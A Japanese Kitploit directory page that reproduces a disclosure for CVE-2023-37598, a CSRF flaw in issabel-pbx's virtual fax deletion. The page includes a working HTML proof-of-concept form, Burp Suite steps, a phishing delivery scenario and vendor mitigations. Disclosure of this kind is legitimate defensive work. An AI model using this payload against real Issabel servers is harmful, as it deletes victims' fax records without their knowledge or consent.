Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-37598 — issabel-pbx v4.0.0-6 の Virtual Fax 管理機能に、クロスサイトリクエストフォージェリ (CSRF) の脆弱性が存在します。 | Kitploit
ツール/GitHubGitHub/sahiloj/cve-2023-37598
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト学習と教育
GitHubsahiloj/cve-2023-37598

CVE-2023-37598

issabel-pbx v4.0.0-6 の Virtual Fax 管理機能に、クロスサイトリクエストフォージェリ (CSRF) の脆弱性が存在します。

リポジトリを見る
116ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-37598 — issabel-pbx 4.0.0-6: クロスサイト・リクエスト・フォージェリ (CSRF)

概要

CVE ID: CVE-2023-37598
脆弱性タイプ: クロスサイト・リクエスト・フォージェリ (CSRF)
影響を受ける製品: issabel-pbx v4.0.0-6
深刻度: 中
発見者: Sahil Ojha
公開日: 10/07/2023
ベンダーホームページ: https://www.issabel.org/
ソフトウェアリポジトリ: https://github.com/IssabelFoundation/issabelPBX
検証OS: Windows


説明

issabel-pbx v4.0.0-6 の仮想FAX管理機能には、クロスサイト・リクエスト・フォージェリ (CSRF) の脆弱性が存在します。このアプリケーションは、仮想FAXエントリの削除アクションに対して CSRF 保護(例: アンチCSRFトークン、SameSite Cookie属性)を実装していません。

これにより、リモートの認証されていない攻撃者が悪意のあるHTMLページを作成し、認証済みの管理者またはユーザーがそのページを訪れると、被害者に代わって偽造されたHTTPリクエストがアプリケーションに静かに送信されます。この偽造リクエストにより、被害者の知らないうちに、また同意なしに仮想FAXレコードが削除され、データの損失とFAXサービスの中断が発生します。

CSRFとは?

クロスサイト・リクエスト・フォージェリ (CSRF) は、ユーザーの意図なしに、被害者のブラウザに認証済みリクエストをWebアプリケーションへ送信させる攻撃です。ブラウザはすべてのリクエストにセッションCookieを自動的に含めるため、CSRFトークンがない場合、サーバーは正当なリクエストと偽造されたリクエストを区別できません。

影響

  • データ損失: 攻撃者は任意のユーザーに属する仮想FAXエントリを削除でき、FAXデータに恒久的にアクセスできなくなる可能性があります。
  • 不正な状態変更: 管理用FAXレコードは、正規ユーザーの操作や認識なしに静かに削除される可能性があります。
  • 攻撃者に認証は不要: 攻撃者は有効な認証情報を必要としません。ログイン済みの被害者が攻撃者の管理するページを訪問するだけでよいのです。

影響を受けるコンポーネント

パラメータ値
アプリケーション

概念実証 (PoC)

以下のHTMLファイルは、認証済みのissabel-pbxユーザーが開くと、id_fax=1 の仮想FAXを削除する偽造POSTリクエストを自動的に送信します。

ファイル: CSRF exploit.html

root@kitploit:~
<html>
  <body>
    <script>history.pushState('', '', '/')</script>
    <form action="https://{Issabel IP}/index.php?menu=faxnew&action=view&id=1" method="POST">
      <input type="hidden" name="delete" value="Delete" />
      <input type="hidden" name="id_fax" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

注意: {Issabel IP} をターゲットサーバーのIPアドレスまたはホスト名に置き換えてください。id_fax の値を変更することで、IDで任意の仮想FAXレコードを対象にできます。

再現手順

  1. ログインし、Issabel PBX管理パネルで仮想FAXページに移動します:

    root@kitploit:~
    https://{Issabel IP}/index.php?menu=faxnew&action=view&id=1
    

    手順1 – Issabel仮想FAXページ

  2. Burp Suiteプロキシを使用して削除リクエストをキャプチャします。仮想FAXエントリの削除を試行し、リクエストをインターセプトして右クリックし、Engagement Tools → Generate CSRF PoC に移動します。

    手順2 – Burp SuiteでCSRF PoCを生成

  3. 生成されたCSRFエクスプロイトをHTMLファイルとして保存します(上記のPoCを参照)。

  4. すでにIssabelアプリケーションにログインしているユーザーにエクスプロイトを配信します(例: フィッシングメールや悪意のあるリンク)。被害者がページを開いて "Submit request" をクリックすると、追加の操作なしで仮想FAXエントリが削除されます。

    手順3 – ブラウザで表示されたCSRFエクスプロイトHTML

    手順4 – 管理ダッシュボードから仮想FAXが削除される

攻撃シナリオ

攻撃者は悪意のあるHTMLファイルを外部サーバーでホストするか、メールに埋め込みます。認証されたIssabel PBX管理者が同じブラウザセッションでこのページを開くと、ブラウザは有効なセッションCookieを含む偽造POSTリクエストを自動的にIssabelサーバーに送信します。サーバーはそのリクエストを正当なものとして処理し、対象の仮想FAXレコードを削除します。被害者には警告がなく、FAX一覧を手動で確認するまで削除に気づかない可能性があります。

修正方法

この脆弱性を修正するために、ベンダーは以下の緩和策の1つ以上を実装する必要があります。

  1. アンチCSRFトークン: すべての状態変更フォームに一意で予測不可能なセッションごとのトークンを含め、リクエストを処理する前にサーバー側で検証します。
  2. SameSite Cookie属性: セッションCookieを SameSite=Strict または SameSite=Lax に設定し、クロスオリジンリクエストでCookieが送信されるのを防ぎます。
  3. カスタムリクエストヘッダー: すべての機密操作にカスタムHTTPヘッダー(例: X-Requested-With: XMLHttpRequest)を要求し、サーバー側で検証します。
  4. 破壊的操作の再認証: 削除など元に戻せない操作を実行する前に、ユーザーにパスワードの再入力または本人確認を求めます。

参考

  • NVD – CVE-2023-37598
  • OWASP – クロスサイト・リクエスト・フォージェリ (CSRF)
  • Issabel PBX GitHub リポジトリ
  • Issabel 公式ウェブサイト
ツールをダウンロード
issabel-pbx
バージョン4.0.0-6
脆弱なURL/index.php?menu=faxnew&action=view&id=<ID>
脆弱なアクションdelete (POST パラメータ)
欠落している保護CSRFトークン / SameSite Cookie属性